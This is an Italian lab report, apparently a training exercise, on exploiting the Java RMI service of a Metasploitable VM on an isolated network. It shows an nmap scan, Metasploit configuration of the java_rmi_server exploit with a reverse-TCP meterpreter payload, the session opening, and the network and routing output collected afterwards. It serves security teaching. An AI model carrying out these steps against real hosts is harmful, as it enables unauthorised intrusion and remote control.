

REPORT EXPLOITATION JAVA_RMI

OBBIETTIVO: Attaccare la Metasploitable sul servizio vulnerabile Java RMI sulla porta -1099,ottenere una sessione meterpreter e raccogliere la configurazione rete della macchina e la tabella routing

1) CONFIGURAZIONE IP:

Per prima cosa ho impostato gli ip come richiesto nella traccia mettendo su rete interna, 192.168.11.111 per la kali e 192.168.11.112 per la meta, successivamente ho digitato il comando ping ed è tutto impostato correttamente

```
(kali@kali)-[~]  
$ ping 192.168.11.112  
PING 192.168.11.112 (192.168.11.112) 56(84) bytes of data.  
64 bytes from 192.168.11.112: icmp_seq=1 ttl=64 time=0.728 ms  
64 bytes from 192.168.11.112: icmp_seq=2 ttl=64 time=0.390 ms  
64 bytes from 192.168.11.112: icmp_seq=3 ttl=64 time=0.343 ms  
64 bytes from 192.168.11.112: icmp_seq=4 ttl=64 time=0.480 ms
```

2) SCANSIONE PORTE CON NMAP:

```
msf > nmap -sV 192.168.11.112  
[*] exec: nmap -sV 192.168.11.112  
  
Starting Nmap 7.99 ( https://nmap.org ) at 2026-07-24 16:49 +0200  
Nmap scan report for 192.168.11.112  
Host is up (0.00019s latency).  
Not shown: 977 closed tcp ports (reset)  
PORT      STATE SERVICE      VERSION  
21/tcp    open  ftp          vsftpd 2.3.4  
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)  
23/tcp    open  telnet       Linux telnetd  
25/tcp    open  smtp         Postfix smtpd  
53/tcp    open  domain       ISC BIND 9.4.2  
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)  
111/tcp   open  rpcbind      2 (RPC #100000)  
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)  
512/tcp   open  exec         netkit-rsh rexecd  
513/tcp   open  login        OpenBSD or Solaris rlogind  
514/tcp   open  shell        Netkit rshd  
1099/tcp  open  java-rmi     GNU Classpath grmiregistry  
1524/tcp  open  bindshell    Metasploitable root shell  
2049/tcp  open  nfs          2-4 (RPC #100003)  
2121/tcp  open  ftp          ProFTPD 1.3.1  
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5  
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7  
5900/tcp  open  vnc          VNC (protocol 3.3)  
6000/tcp  open  X11          (access denied)  
6667/tcp  open  irc          UnrealIRCd  
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)  
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1  
MAC Address: 08:00:27:78:69:07 (Oracle VirtualBox virtual NIC)  
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel  
  
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .  
Nmap done: 1 IP address (1 host up) scanned in 16.38 seconds  
msf >
```

Ho avviato metasploit con il comando **msfconsole**, poi ho scansionato con **nmap nmap -sV 192.168.11.112**. La porta 1099 con il servizio **Java RMI** è aperta.

3) CONFIGURAZIONE EXPLOIT:

Per cercare l'exploit ho usato **search java_rmi**, scegliendo il secondo, quindi digitando **use exploit/multi/misc/java_rmi_server**

```
msf > search java_rmi

Matching Modules

#  Name
--  ---
0  auxiliary/gather/java_rmi_registry
1  exploit/multi/misc/java_rmi_server
2  \_ target: Generic (Java Payload)
3  \_ target: Windows x86 (Native Payload)
4  \_ target: Linux x86 (Native Payload)
5  \_ target: Mac OS X PPC (Native Payload)
6  \_ target: Mac OS X x86 (Native Payload)
7  auxiliary/scanner/misc/java_rmi_server
8  exploit/multi/browser/java_rmi_connection_impl
```

```
Name      Current Setting  Required  Description
-----
HTTPDELAY  20              yes       Time that the HTTP Server will wait for the pa
RHOSTS    192.168.11.112  yes       The target host(s), see https://docs.metaspoi
RPORT     1099            yes       The target port (TCP)
SRVHOST   0.0.0.0         yes       The local host or network interface to listen
SRVPORT   8080            yes       The local port to listen on.
SRVSSL    false           no        Negotiate SSL/TLS for local server connections
SSL       false           no        Negotiate SSL for incoming connections
SSLCert   false           no        Path to a custom SSL certificate (default is r
URIPATH   false           no        The URI to use for this exploit (default is ra

Payload options (java/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
-----
LHOST     192.168.11.111  yes       The listen address (an interface may be specified)
LPORT     4444            yes       The listen port

Exploit target:

Id  Name
--  ---
0   Generic (Java Payload)
```

per avviare l'exploit, ho usato **show options** e configurato le seguenti opzioni:

set RHOST 192.168.11.112(il target)

set HTTPDELAY 20 (alzando a 20 il servizio ha avuto il tempo di rispondere senza andare in timeout)

```
msf exploit(multi/misc/java_rmi_server) > run
[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/EPcpZuie
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58073 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:33565)
```

lanciando il comando **run**, l'exploit ha funzionato e sono riuscito ad ottenere una sessione **meterpreter**, per ottenere informazioni riguardo alla configurazione di rete e la tabella di routing ho usato i comandi **ifconfig** e **route**

```
meterpreter > route

IPv4 network routes

Subnet      Netmask      Gateway      Metric  Interface
-----
127.0.0.1    255.0.0.0    0.0.0.0      0       lo
192.168.11.112 255.255.255.0 0.0.0.0      0       eth0

IPv6 network routes

Subnet      Netmask      Gateway      Metric  Interface
-----
::1         ::           ::           0       lo
fe80::a00:27ff:fe78:6907 ::           ::           0       eth0
```

```
meterpreter > ifconfig

Interface 1

Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2

Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe78:6907
IPv6 Netmask : ::
```